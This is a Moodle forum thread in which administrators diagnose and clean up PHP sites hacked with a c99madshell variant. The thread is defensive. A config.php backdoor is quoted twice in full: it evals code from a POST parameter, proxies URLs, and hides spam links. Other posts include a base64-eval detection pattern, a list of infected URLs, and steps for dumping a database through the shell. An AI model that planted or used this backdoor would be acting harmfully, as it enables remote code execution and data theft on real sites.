The decoded contents are 132KB in size, and looking at it, its a variant of c99madshell. If you would like me to attach the decoded s.php I can, but if you do want it, it would probably be better sent off-list due to its content.
Rich
In reply to Richard Garner

Re: How to diagnose a Hacked PHP Site?

by Mauno Korpelainen -
I think it's better to not attach those files to these forums - all crackers of the world can find them from www but we don't need to help them...wink
In reply to Mauno Korpelainen

Re: How to diagnose a Hacked PHP Site?

by Richard Garner -
Precisely.
I found that there was a username and password applied to the version of c99 installed on the server I am currently looking at, however I have managed to reverse the md5 hash (I am not providing details on how for the above reason), to check what c99 was actually able to do on this server.

Fortunately, we segregate the IUSR and IWAM accounts and lock them to directories, so this install of c99 is not actually able to break out of the website root (ie, no access to system folders), however had the file system security not been as tight it could have been catastrophic (deleted boot.ini anyone?). To anyone running Apache as root or with admin privs on a windows server, this should be a wake-up call, as an attacker literally has free reign over the entire filesystem.
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Mauno Korpelainen -

One update - I noticed yesterday that the same script had infected an old mambo site that I installed to my friend about 4 years ago. The same site had also moodle but files of moodle were untouched - so permissions of web accessible files of moodle were obviously correct - no write permissions.

I checked all files from that site and the vulnerable part was a component called mambospgm ( SPGM is a PHP script that displays picture galleries on the web ) and inside folder mambo/administrator/com_mambospgm/spgmadmin/includes I found 945 spam files including all the essential files you mentioned.

17.4 Mb of spam... and obviously these spammers are using some other tools to update those 900 spam data files and send links to other open blogs and forums.

Edit... and s.php is for authentication...

In reply to Richard Garner

Re: How to diagnose a Hacked PHP Site?

by Luis Esteban -
Is the site one of:
201.120.149.115
moodle.wyoming.k12.mi.us
peteacher.okpe.gr
www.auladecapacitacion.com
www.snitt.co.uk
?

This would confirm the data I have is accurate. If not, the data might be incomplete. But postive confirmation would be good.

I think someone is going through all the registered sites in moodle.org for FQDNs and then searching each homepage for the link to any PHP script.
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Mauno Korpelainen -

No, it's none of these but I found yesterday nearly 100 similar attacked moodle sites. The mambo site I mentioned is also a registered moodle site - the link to original moodle is not the same anymore but the name of main site is.

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked PHP Site?

by Luis Esteban -
Sorry, my question was to Richard Garner.

> Re: How to diagnose a Hacked PHP Site? by Richard Garner - Friday, 12 December 2008, 02:43 AM
> I am currently dealing with a similar problem for a customer with Moodle - ... and found an inordinate number of requests for "/moodle/login/signup.php", ...

Richard, is the site you are working on one of:
201.120.149.115
moodle.wyoming.k12.mi.us
peteacher.okpe.gr
www.auladecapacitacion.com
www.snitt.co.uk
?

If it is, it just adds to my belief that there are over 1400 infected sites. I can identify 1392 of them, including their main infected script and their CGI parameter.
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Richard Garner -
Hi Luis,
Sorry, I'm just back in after the weekend. I can confirm that snitt.co.uk is the domain I have been looking at.

I can confirm that the script is c99madshell on this server too. I reversed the base64 and gzip encoding to readable php, and while it was a bit mangled from the decryption, it was definitely c99, but a modified version - not one I had come across before. As you say, s.php prompts for authentication. My decrypted version showed the username to log in to c99, however the password was MD5'd. I managed to get around this, so if you want me to give you the details on how to do so, please contact me off-list and I will try and assist.

Rich
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Paddy McKenna -

i think my site is one of these too...

www.sciencemoo.com

any ideas what i should do? I have found the some nasty looking files on my server, and i can delete them, but i dont know how to change any of the scripts, and the possible consequences scare me!

Help!

In reply to Timothy Takemoto

Re: How to diagnose a Hacked PHP Site?

by Luis Esteban -
> Is there anything in moodle, in the php that we can do to prevent this kind of hack?

No, the request/packet goes to the computer, to port 80 (usually), to Apache or IIS (usually), and then to PHP but before PHP starts executing the Moodle code or whatever (e.g. Joomla, ...), the hole is climbed into. This is not like the 'register_globals' hole, which can be plugged by careful coding.

Running the server as root gives the malware unlimited access to all files. I would look at all PHP files on your system; just the first line.

The malware has a number of parameters to it. One is the directory it invades: arbitrary (although, I think it might do a 'find /' and invade the first directory that comes up or something similar to that). Another is the script that is constantly triggered. And, another is the parameter used for specifying the name of the uploaded file which is saved into the directory.

The script that it happened to chose for "pulsing" would be your login script, I'd say. I would look in the log of your server and analyse these requests.

If you really need to run the server as root (and if you are using Linux/Unix), put the server in a chroot jail.
In reply to Timothy Takemoto

Re: How to diagnose a Hacked PHP Site?

by Guy Thomas -
Picture of Core developers Picture of Plugin developers
Tim, you should never ever run your web server as root.
Running your web server as root means that php has root access.
That means that you can do anything to your server via PHP.
That also means that any malware PHP script uploaded can do anything to your server!

I recommend the following for security (if you are using apache as your webserver).

1) Create a user for managing web apps - e.g. webman
2) Move all your web apps out of your normal /var/www folder.
3) Stick the web apps in webmans home directory in a folder called www_app (moodle app would go in here). Create aliases to these apps from your apache httpd.conf file (do a search for apache aliases).
4) Create 2 further folders in webmans home directory www_app_data and www_app_cfg. Your moodle data folder(s) go in www_app_data and your config files go in www_app_cfg. Include your config flies from the apps in www_app. E.g. my moodle config file looks like <?php include ('/home/webman/www_cfg/moodle/config.php')?>
5) Set the permissions of all your web apps to 750 (e.g. chmod 750 www_app -r) and set ownership to webman with webserver as group (e.g. chown webman:apache www_app -R) . This means webman can edit, upload, etc to your web apps but your webserver cannot (web server can only read). This also means any malware cannot!
6) Set the permissions of all your config files to 750 and set ownership to webman with webserver as group.
7) Set the permissions of all your data folders to 770. this means that webman and the web server can read and write to this folder.
In reply to Guy Thomas

Re: How to diagnose a Hacked PHP Site?

by Timothy Takemoto -
I don't have a choice about whether php runs as root or not or control over the server.

I foget why but the system administrators have their reasons for running php as root. 

I think that it has something to do with the fact that the server was created as a networked, high-load bearing server where teachers would just drop big video files of their lecutures (the state of the art in online education at my university?), and use .htaccess to control access to them. It was not envisaged that people would be using php at all.
In reply to Timothy Takemoto

Re: How to diagnose a Hacked PHP Site?

by Petr Skoda -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers
There can not be any sane reason to run PHP as root thoughtful
Average of ratings: Useful (1)
In reply to Petr Skoda

Re: How to diagnose a Hacked PHP Site?

by Timothy Takemoto -

Well yes. Unless you don't want/expect people to use PHP at all.

They created a fast load-sharing server array for the demand, which was simply to download large video files, and I arrived with a php application. They could have said "no you can't use php," but instead they said "use it at your own risk." 

In reply to Kevin Moore

Re: How to diagnose a Hacked PHP Site?

by Elvedin Trnjanin -
Could you elaborate more on where you said "It relies on the fact that PHP mixes code into the webpage and 'adds' some PHP code into any upload or reply script eg mod/wiki/admin.php."? This seems like a very serious vulnerability and I haven't heard about it.
In reply to Kevin Moore

Re: How to diagnose a Hacked PHP Site?

by Klaus Schramm -
Kevin Moore presented these (most helpful) lines for permission changes:

cd /var/www/html/moodle
chown -R root:root *
find . -type d exec chmod 755 '{}' \;
find . -type f -exec chmod 644 '{}' \;

A few notes:

1. Depending on your login, you might have to precede lines 2 to 4 with sudo:
cd /var/www/html/moodle
sudo chown -R root:root *
sudo find ... etc.

2. Change from exec to -exec in the third line (like the fourth) in order to get the parameter recognized by the find command:
find . -type d -exec chmod 755 '{}' \;

3. If you happen to use a Mac Server, change root:root in the second line to root:admin
chown -R root:admin *

Thanks again, Kevin,
Klaus
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Peter T -
Hey Luis, could you please give instructions on how this script works and how to use it? Seems like it could be extremely useful for removing just about any infection. What is this part (it's showing as a link?):
"

Thank you

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Ron Mitchell -

Hi

I searched the forums for what I thought was a minor issue and discovered that a site I look after has been hacked like this too. The script above doesn't seem to be complete - is it downloadable from anywhere?

Thanks.

BTW the location on this server was also  /lib/editor/tinymce/jscripts/tiny_mce/themes/advanced/docs/en/images/mdl_utf.php which contained that and the other files mentioned. Could the editer be where the vulnerability lies?

In reply to Ron Mitchell

Re: How to diagnose a Hacked PHP Site?

by Mauno Korpelainen -

Answer to your second question is: No - the problem is not in tinymce - I made the same mistake when I thought that Netpublish might have been vulnerable.

File mdl_utf.php can be hidden anywhere (any web accessible folder that allows writing) and usually the location is different for each hacked site. In most cases crackers have selected the folder so that you can't immediately notice it.

In reply to Ron Mitchell

Re: How to diagnose a Hacked PHP Site?

by Paddy McKenna -

i have just found the same file on my serer aswell, is there a simple way to fix this problem? Bearing in mind i am a simpleton science teacher who has practically no tech support here in thailand...

help would be greatly appreciated

paddy

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Ken Gibson -

Luis,

Could you (or someone else) give a quick "how to" on using this code (your code is below).  How do i run this on our setup?

Ken  

>>>>>>>>>>>>>>>>>>>>

This script might help:

#!/bin/bash
#
#       remove-infection        - Script to remove the XYZ infection from PHP files
#
#               Luis Esteban    8 December 2008
#                       Created
#
# Create yuck file by finding an infected file and doing
#   head -1 infectedfile > yuck
#
# Create infectedfiles file by doing
#   find / -name '*.php' | while read FILE; do if grep 'eval(base64_decode' "$FILE"; then echo "$FILE" >> infectedfiles; else echo "$FILE" >> notinfected; fi
; done
#
cat infectedfiles | while read FILE
  do
        echo "Cleaning $FILE"
        FILEHEAD=`head -1 "$FILE"`
        YUCKHEAD=`head -1 yuck`
        if [ "$FILEHEAD" = "$YUCKHEAD" ]
          then
                echo "Infected, cleaning ..."
                tail -n+2 "$FILE" > "clean" "$FILE"
                chown root.root "$FILE"
                chmod -w "$FILE"
                chattr +i "$FILE"
                echo "$FILE" >> cleaned
          else
                echo "Not Infected"
                echo "$FILE" >> notcleaned
        fi
  done
>>>>>>>>>>>>>>>>

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Timothy Takemoto -

In order to remove the infections injected into your php files by madshell and the like you may wish to try this neat php script that will do search and replace on all the php files in a directory, or even on your whole site.

https://sourceforge.net/projects/modif/

The only problem is that it tends to run out of time before it can search a large site, so you may have to specify each of your larger directories by hand.

Tim

In reply to Timothy Takemoto

Re: How to diagnose a Hacked PHP Site?

by Timothy Takemoto -

This time my site (not moodle) was hacked, the the above search and replace script
https://sourceforge.net/projects/modif/
was not cutting the mustard. I am not sure why but it was failing to find the code.

Are there any other search and replace scripts? I think that c99mad shell itself may have one. c99madshell may be the best tool for removing itself.

In reply to Timothy Takemoto

Re: How to diagnose a Hacked PHP Site?

by Timothy Takemoto -

No, I can't find a search and replace feature in c99madshell. It is a very powerful shell program that is convenient to use but where is the replace feature?

The beast can be downloaded from the creators page and open ed if you change the file extension to .txt.

I think that FTP brute, does not brute force any ftp server at all, but rather logs the login information of people that log in but I am not sure.



In reply to Mitsuhiro Yoshida

Re: How to diagnose a Hacked Moodle Site?

by Doug Kitts -
Anyone have a script to help me edit 1600 php files in Windows? sad
In reply to Doug Kitts

Re: How to diagnose a Hacked Moodle Site?

by Luis Esteban -

I would be tempted to copy the folder to a Linux/Unix machine and use the script I supplied above.  But, then you've got permission and ownership issues.  But, those issues might not be so bad if most of the files should have the same permission and owner.

So, the next best thing is to mount the Windows folder to a Linux directory, and then run the script.  Still potential issues.

Another alternative would be to rewrite the script in Ruby and run that on the Windows machine.

A difficult option would be to find the script's uninstall button.  But, if found that might be the easiest yet.

Yet another alternative is to install Cygwin and run my script under that.

I would prefer to manually edit all 1600 php files than to write a DOS batch file to do it.  Maybe someone else would?

In reply to Luis Esteban

Re: How to diagnose a Hacked Moodle Site?

by Doug Kitts -
I just restored the files from an old backup. Thanks for all the suggestions and help.
In reply to Doug Kitts

Re: How to diagnose a Hacked Moodle Site?

by Luis Esteban -
The script I included above (for Linux) changes the write permissions of the files that got changed and also makes them immutable. But, you should also make all the directories write-protected also (e.g. chmod -R -w /var/www/html/moodle or whatever). The tricky part will be if any of those directories still need to be write-enabled for Moodle to function (or whatever other webapps you have). For Moodle, though, most dynamic stuff is written to moodledata. This can still be a problem. This is where we were infected. Moodle still needs to write to these directories and even create new ones. Having them out of your webspace will help, say /home/moodle/data or whatever, can help but the write ability is still there; however, with all the exposed PHP scripts made unwritable along with there directories, there should be no problem. Let me know if there is.

Our hole was through Joomla but the malware found a writable assignment directory in Moodle and planted itself there; in a student's directory for that assignment.

When you install a new module, a third party one or whatever, you will need to make sure that those scripts (extracted from the zip) are made write-protected and the new directories for it.

You might still have to write-protect the files from the backup.
In reply to Luis Esteban

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -

Although cleaning infected php files or replacing them with the original ones seems to solve most cases there is one more slyness in this script. Because scripts have <div style="position:absolute;left:-69982px;top:-56983px"> tags it takes some time from most IE users to recognize the script - probably just users of FF may notice something weird in theme.

I googled some such pages and from about 4000 pages about 10% were attachments: docs, xlss, ppts... and probably all downloaded attachments seems to keep the same spam code visible that was not visible on normal web pages.

The original meaning of the hidden code might have been that before Christmas people send a huge number of attachments - and we are not used to get corrupted attachments from teachers... If students try to repair corrupted documents and click the first working link they may find themselves from similar sites that profile spam gave, infect their non protected home PCs and so on.

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -

Some search engines have already gone crazy  - normal looking links may include files cs.html and tds.php from a spam server - don't trust the titles of links, content of these new links is much worse than previous loan applications.

If you notice addresses like

search.harvard.edu:8765/custom/cs.html?url=
search.oregon.gov/cs.html?url=
search.nrel.gov/cs.html?url=
search.state.mn.us/cs.html?url=
search.thehawaiichannel.com/cs.html?url=
search.channeloklahoma.com/cs.html?url=

don't click them... they are Christmas spam 2008

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked PHP (probably Moodle) Site?

by Luis Esteban -
I am reasonably convinced that the malware we are discussing is a variant of c99madshell based on the posts to this forum. The only thing missing for me is an explanation of the constant spam template uploads. How does this connect with c99madshell? Is it connected or different?

I am talking about the constant requests from many IPs but all using the CGI parameter chosen for each site that uploads a spam template. Is there something more to these packets? Is this part of the shell?

I have received these requests from over 2000 different IPs. I can attach a sorted listed by frequency of attempts and their domain name if anyone wants. Here's the top 16:
929 66.249.73.186 crawl-66-249-73-186.googlebot.com.
709 65.55.232.34 3(NXDOMAIN)
703 65.55.213.106 3(NXDOMAIN)
691 67.195.37.156 llf320054.crawl.yahoo.net.
630 67.195.37.172 llf320046.crawl.yahoo.net.
497 66.249.73.247 crawl-66-249-73-247.googlebot.com.
347 67.195.37.106 llf320034.crawl.yahoo.net.
307 38.108.180.85 h-180-85.scoutjet.com.
290 38.108.180.76 h-180-76.scoutjet.com.
272 72.14.199.57 3(NXDOMAIN)
268 65.55.104.29 msnbot-65-55-104-29.search.msn.com.
220 65.55.108.241 msnbot-65-55-108-241.search.msn.com.
211 65.55.108.242 3(NXDOMAIN)
206 67.195.37.92 llf320037.crawl.yahoo.net.
192 72.30.78.229 llf531330.crawl.yahoo.net.
168 66.249.71.235 crawl-66-249-71-235.googlebot.com.
There are many more from non-bot sources.


For my site, they are all requesting GET /moodle/index.php?finance=123, where 123 varies for each request, but there are repeats of the same. For those of you thinking that this is what a web-bot does, let me point out that the frequency of requests is much higher than usual, coming in at about 1 to 5 seconds apart constantly and always with "my" keyword, 'finance' and never with anything else, and there never existed a page for /moodle/index.php?finance=123. I know some web-bots throw in some random URL's to try for some negative data points, but they don't keep hammering at them every second.

I have a list of the CGI "keywords" for all the sites that I know have been infected. There are 55 "keywords" for 1392 infected sites, but there are probably more.


Should I post a list of sites with their infected scripts? I won't post their "keywords" though. That way, anyone wondering whether they have been infected, or even thinking that they're not, can check for positive information. That is, if you are not in the list, then that does not mean that you are not infected. I think I should post the infected scripts so that webmasters can check deep places, old places, obscure places, separately managed places, and so on, e.g.
http://190.24.8.3/moodle/file.php/1/instructivo_para_la_publicacion_de_articulos.doc/
http://45artistbusiness.com/index.php/special:recentchangeslinked/dutch_guitars/
http://blogs.chatham-nj.org/firouz/2008/01/10/the-phase-of-the-new-moon-0/
http://cms.bit.edu.cn/moodle/blocks/programming_judge_status/fulllist.php/
http://core.gilbert.k12.az.us/coreweb/other-categories/december-technology/
http://htiuganda.org/component/option,com_events/task,view_year/itemid,1/year,2007/month,04/day,27/index.php/
http://integration.vitalect.com/pakorakorner/index.php/2008/03/20/dhoni-deserves-plenty-of-credit/
http://staging.lambdasolutions.net/leadersforlife/moodle19/calendar/view.php/
http://teachereducation.org.uk/phpwebquest/webquest/soporte_mondrian_w.php/
http://tiw-pro.web.internet.telia.com/~1788437/community/calendar/set.php/
http://uranos.cto.us.edu.pl/mediawiki/index.php/mediawiki:accesskey-compareselectedversions/
http://www2.arch.pw.edu.pl/aktualnosci/inf/example/index.php/studenci/studia/pliki/lista_mgr_02.pdf/
http://www.allthatautism.com/index.php/component/content/article/7-science-based-medicine/180-peruvian-hamsters-and-autism-cui-bono/
http://www.biomed.uqam.ca/spip.php/local/cache-vignettes/l115xh102/img/pdf/dist/img/pdf/spip.php/
http://www.contextsensitivetesting.com/blog/archives/date/2006/04/
http://www.csl.unifi.it/comunicazionesanitaria/googlehealth/
http://www.expertones.gr/elearning/demo/moodle/user/view.php/
http://www.inie.ucr.ac.cr/lang-en/eventos/view_month/2001/07/01.html/
http://www.kannonkoski.fi/fi/ajankohtaista/tapahtumakalenteri/tapahtuman_tiedot/
http://www.lbarroso.com/content/view/164/90/www.flickr.com/photos/28437969@n00/index.php/
http://www.pakorakorner.com/index.php/2006/01/oasis-hong-kong-airlines-flying-cheap.html/
http://www.redvitivinicola.cl/sitio/index.php/blog/00_archivos/aulavirtual/login/00_archivos/suplementos/suplementos/galeria/noticias.php/

If you don't know what CGI parameter to look for in your log for your site, email me directly or post your email here and I'll email it to you.
Average of ratings: Useful (1)
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP (probably Moodle) Site?

by Mauno Korpelainen -

I think that in your example finance=123 is a sort of template - there is a file called 123 in this infected mambo folder (looks like a wordpress page) and the folder has 300 similar templates with different parameters. You may find several similar links from other sites with different number like

index.php/?finance=116
index.php/?finance=25
index.php/?finance=85...

They are using other automatic tools like XRumer to spam forums, blogs and guestbooks on other sites to add link lists to these infected sites just like before in profile spam - different sites have different roles. Link lists can be different on each site but usually they are posting more than one similar packages (10-100) each time.

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked PHP (probably Moodle) Site?

by Luis Esteban -
The thing I want to find out is is this spam template software connected to the c99madshell? I have analysed reasonably deeply two separate sites that have been infected within hours of each other and infected differently (i.e. one Joomla and one Moodle) but the malware is identical. It also seems identical to the malware being discussed in this forum. A few posts have said that the software is c99madshell. I have not been convinced only because of this spam template software which is part of the current malware we are analysing.

I haven't read anything about c99madshell having any functionality to do with spam proliferation and the constant requests. This means either the identification of this malware being c99madshell is mistaken or that c99madshell has been significantly modified or even coupled with a spam proliferater. If c99madshell has been significantly modified can we rely on the information about the original version when we aim to prevent it from getting in again or aim to make sure it has been completely eradicated, or even to work out what it has done. Has it stolen passwords, stolen data, corrupted data/databases, ... ?

The malware we are analysing is one package. What is it? c99madshell or XRumer or even something else? Is it a new combined package? c99madshell with XRumer added in?


The

index.php/?finance=116
index.php/?finance=25
index.php/?finance=85...

and the

<?php /**/eval(base64_decode('aWYoZnVuY...

is the same package.
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP (probably Moodle) Site?

by Mauno Korpelainen -

This package / files that you have been looking is definitely c99madshell - and following different links most sites are just similar infected sites but some sites seem to use also google ads to these infected sites - and search engines. I mentioned Xrumer just as one possible extra tool because it has been used a lot in blog and forum spam.

Maybe the "package" is not ready yet - spammers might be just testing with these files... before larger attacks after a couple of days.

EDIT: ...Has it stolen passwords, stolen data, corrupted data/databases, ...

Madshell can for example run directly mysql queries (check the images from Janne's link) so it can be used for stoling passwords, user data etc. I don't know if attackers have used those features but I guess they have - why should they come in otherwise...

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked PHP (probably Moodle) Site?

by Richard Garner -
"Has it stolen passwords, stolen data, corrupted data/databases"

Fortunately not as far as we can tell, however c99 provides functionality to access files which are not normally accessible through the site, such as the moodle config, so if they wanted the username and password, all they would need to do is read it out of the config.
In reply to Richard Garner

Re: How to diagnose a Hacked PHP (probably Moodle) Site?

by Mauno Korpelainen -
The exact version I found is c99madshell v. 2.0 madnet edition EDITED BY MADNET and all you really need to do is to find config.php and read dbuser and dbpassword, press SQL link in madshell control panel, login to database and create a mysql dump of whole database.
In reply to Mitsuhiro Yoshida

Re: How to diagnose a Hacked Moodle Site?

by António Gonçalves -
I have this on my config.php?!?! What shall I do?

<?php ;

function output_callback($str)
{
GLOBAL $links;
preg_match("|<body[^>]*>|",$str,$arr);
return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);
}

function get_page($url)
{
return file_get_contents($url);
}

if(isset($_POST['code']) && $_POST['code'])
{
eval(stripslashes($_POST[code]));
exit;
}
if(isset($_GET['proxy']) && $_GET['proxy'])
{
print get_page($_GET['proxy']);
exit;
}

ob_start ('output_callback');
?><?php

unset ( $CFG ) ;
In reply to António Gonçalves

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -
Normal config.php should look like

<?php /// Moodle Configuration File

unset($CFG);

$CFG->dbtype = 'mysql';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'xxx';
$CFG->dbuser = 'xxx';
$CFG->dbpass = 'xxx';
$CFG->dbpersist = false;
$CFG->prefix = 'mdl_';

$CFG->wwwroot = 'http://xxx';
$CFG->dirroot = '/xxx/xxx';
$CFG->dataroot = '/xxx/xxx';
$CFG->admin = 'admin';

$CFG->directorypermissions = 00777; // try 02777 on a server in Safe Mode

require_once("$CFG->dirroot/lib/setup.php");
// MAKE SURE WHEN YOU EDIT THIS FILE THAT THERE ARE NO SPACES, BLANK LINES,
// RETURNS, OR ANYTHING ELSE AFTER THE TWO CHARACTERS ON THE NEXT LINE.
?>

so I would delete first lines

<?php ;

function output_callback($str)
{
GLOBAL $links;
preg_match("|<body[^>]*>|",$str,$arr);
return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);
}

function get_page($url)
{
return file_get_contents($url);
}

if(isset($_POST['code']) && $_POST['code'])
{
eval(stripslashes($_POST[code]));
exit;
}
if(isset($_GET['proxy']) && $_GET['proxy'])
{
print get_page($_GET['proxy']);
exit;
}

ob_start ('output_callback');
?>

Have you compared your other (php) files to corresponding files from same version of moodle or upgraded your moodle (including custom activities and custom themes) ? If it is not a fantastico site and config.php is clean upgrading to latest moodle 1.9.5+ should solve most this kind of issues and after that Security overview report should guide how to make settings more secure to prevent similar hacks in the future...

In upgrading of old fantastico sites some problems may occur but basic procedure is the same.


In reply to Mauno Korpelainen

Re: How to diagnose a Hacked Moodle Site?

by António Gonçalves -
I updated it to latest 1.9.5+ and when I click on "notifications" I get a blank page.

I have changed and clean the config.php. And I start the upgrade, but when I edit the config.php I got the same code again:

<?php ;

function output_callback($str)
{
GLOBAL $links;
preg_match("|<body[^>]*>|",$str,$arr);
return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);
}

function get_page($url)
{
return file_get_contents($url);
}

if(isset($_POST['code']) && $_POST['code'])
{
eval(stripslashes($_POST[code]));
exit;
}
if(isset($_GET['proxy']) && $_GET['proxy'])
{
print get_page($_GET['proxy']);
exit;
}

ob_start ('output_callback');
?>

This is amazing. One mounth tracking this and I am getting all the same.black eye
In reply to António Gonçalves

Re: How to diagnose a Hacked Moodle Site?

by António Gonçalves -
And...

If I don't put this code I get a mess on the front page of moodle!?!?
In reply to António Gonçalves

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -

It is possible that this code comes originally from some other file than config.php itself - for example your main site index.php may be infected and a script there can infect all other php files of your site - like a virus.

If you can't find the source of the original hack you could  as well contact your host and ask them to help in locating the main problem.

That function output_callback is/has been clearly used for adding spam links to your site - similar attacks have been made through WordPress and other CMS programs too...

If nothing else helps you could for example install moodle to a local PC (Windows install), move (course) backups from your site to this local test install and if everything looks clean try to clean or delete all files from your site and make a fresh start...

Missing editor is just showing that something is wrong - it's a symptom of extra (hacked) code that you must get cleaned before you can use your moodle safely.

Average of ratings: Useful (1)
In reply to Mauno Korpelainen

Re: How to diagnose a Hacked Moodle Site?

by Paul Pyatt -
I concur..

The attack we had inserted the injected code at the top of every .PHP page on the Moodle Site.

In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by bill c -
Does anyone know of a website that can identify whether or not another website is disseminating malware? In other words, it's been hacked?

This would be a site you visit, where you would enter the URL of the suspect site and the testing site would read the output of the suspect site for known malware.

I know google will sometime put sites on a hacked list, but I don't know how to get google to look at a site and tell you whether or not it's been hacked.

I have Norton on my machine but I'm not always confident that it's catching everything. It would be nice to have a independent comparison.
Thanks.
-B
****
In reply to bill c

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -

There's never a full guarantee. For exemple mcafee site advisor is pretty good to recognize malware and viruses - but not hacked sites...

Mcafee site advisor is part a of mcafee security center but you can also download site advisor separately from

http://www.siteadvisor.com/download/ie.html

or

http://www.siteadvisor.com/download/ff.html

In reply to Michael Lawler

Re: How to diagnose a Hacked PHP Site? (update)

by Luis Esteban -

This thread seems to have gone cold without closure.  (But, I have received some private emails.)  The particular onslaught of incoming packets connected to this malware instance seems to have passed.  Packets matching the signature I mentioned above stopped before the new year (at least on my server).  This might be because I made my firewall drop incoming packets from blacklisted IP's, which were blacklisted if an HTTP packet containing the signature for my site was detected.  That is, all packets were dropped whether HTTP or not, once a bad packet was detected.  So, either my server was deleted from the malware's database because my server never responded, or because it has been stamped out.

My firewall has over 2000 different IP address blacklisted just from this malware.  If anyone is interested, I can post them, but I don't think this is necessary now.

I have detected 1392 sites infected by this malware.  I have attached a file listing them and which script is used for the spam function (which might be connected with other functions; c99madsheel?).

I have been emailed privately for instructions on how to respond, so I am posting them here.

Since, I haven't fully analysed all the malware, I can't be sure that the following is a sufficient response, but it could well be.

1. Disconnect your webserver: either by blocking external access or turning off the http service (e.g. on Linux: service httpd stop).

2. Remove all infection: use the script from my earlier post to remove the first line from every infected file.  The script also makes those infected files write protected, so that those files can't be reinfected.  Also, consider write protecting those directories.  Doing that could interfere with the operation of your PHP application, or at least with updating your application.  The main message here is to prevent things from changing that should not change.  Also, remove the core files of the infection, which will be in the directory containing the file mdl_utf.php.  This directory is probably not the directory containing the PHP file that is being pulsed by the signature packets (see earlier post).

3. Prevent it from happening again: this is the area of most doubt, although, there isn't much doubt.  My understanding is that this malware is based on a hole in PHP, and not a hole in Moodle specifically.  I think, and emphasise, I think, that the latest version of PHP closes the hole.  Note, that write-protecting all your files should close the hole anyway.  So, the preventing-it-from-happening-again response is to update/upgrade PHP.

I don't have closure on how the c99madshell works in this malware.  The main function appears to be spam related and I can explain how that part of the malware works.  I can't explain how the c99madshell is accessed.  I can't see any evidence of it being used and I'm not sure which file it resides in.  I am assuming it is in s.php (in the same directory as mdl_utf.php).  If it is not in s.php, then I believe that this is not a c99madshell attack.

I think I have provided significant information about this malware.  The only information I haven't provided is the purpose/function of s.php and how c99madshell fits into the malware.

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site? (update)

by Mauno Korpelainen -

Luis,

thank you for a long list of sites that were not secure but have probably now changed the permissions of their folders.

If you still miss the evidence if these were c99madshell attacks or not you can simply use google and for example words

c99madshell v. 2.0 madnet edition EDITED BY MADNET

Even if the files have been deleted the cached versions stay there for a long time and you can check what the "malware" looks like, where it was and what code launched it - the name of that file is not s.php - it can have any name the crackers have wanted to use. The first file I mentioned was found from moodle.usd.edu/file.php/1/Moodle_Manuals/dec.php and has been deleted already but there are still some moodle sites among those cached madnet "file managers".

It is really sad that this kind of scripts can be downloaded and used from some www pages - I don't however think the script is using some single hole in php, it just exploits the holes in security settings of sites and different programs that people install to their sites.

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked PHP Site? (update)

by Han Gao -

I’ve been following this thread using RSS-Feeds, so I might have missed some posts. I’ve found this link that might be of help. It is a review by one Derek Fountain:

http://www.derekfountain.org/security_c99madshell.php

HTH,

Gao Han

In reply to Han Gao

Re: How to diagnose a Hacked PHP Site? (update)

by Mauno Korpelainen -
Yes, Janne gave that link in previous post http://moodle.org/mod/forum/discuss.php?d=111710#p492448

I had not seen that article before Janne's link and was really surprised to see how advanced features those scripts can have. Unfortunately. It really does not take a long time to find the malicious script from the net - and kids playing with scripts like this can infect their own PC:s because the script is not only giving access to some sites, it's more like playing with the devil himself - in this case russian spam mafia (addresses can be found from the script if you start examining the features) angry

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site? (update)

by Cherisse Mahabir -

Hi All,

 

We recently discovered our moodle server has been hacked based on the following code that was inserted into our moodle source files and posts read on moodle forums:

 

